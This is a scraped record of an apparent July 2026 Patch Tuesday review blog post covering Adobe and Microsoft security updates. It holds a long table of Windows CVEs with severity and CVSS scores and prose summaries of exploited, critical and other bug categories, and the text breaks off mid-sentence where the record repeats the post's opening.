Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:54.695371Z"}, {"uuid": "21a70966-5ff4-4604-aaf7-644de14e35aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54995", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 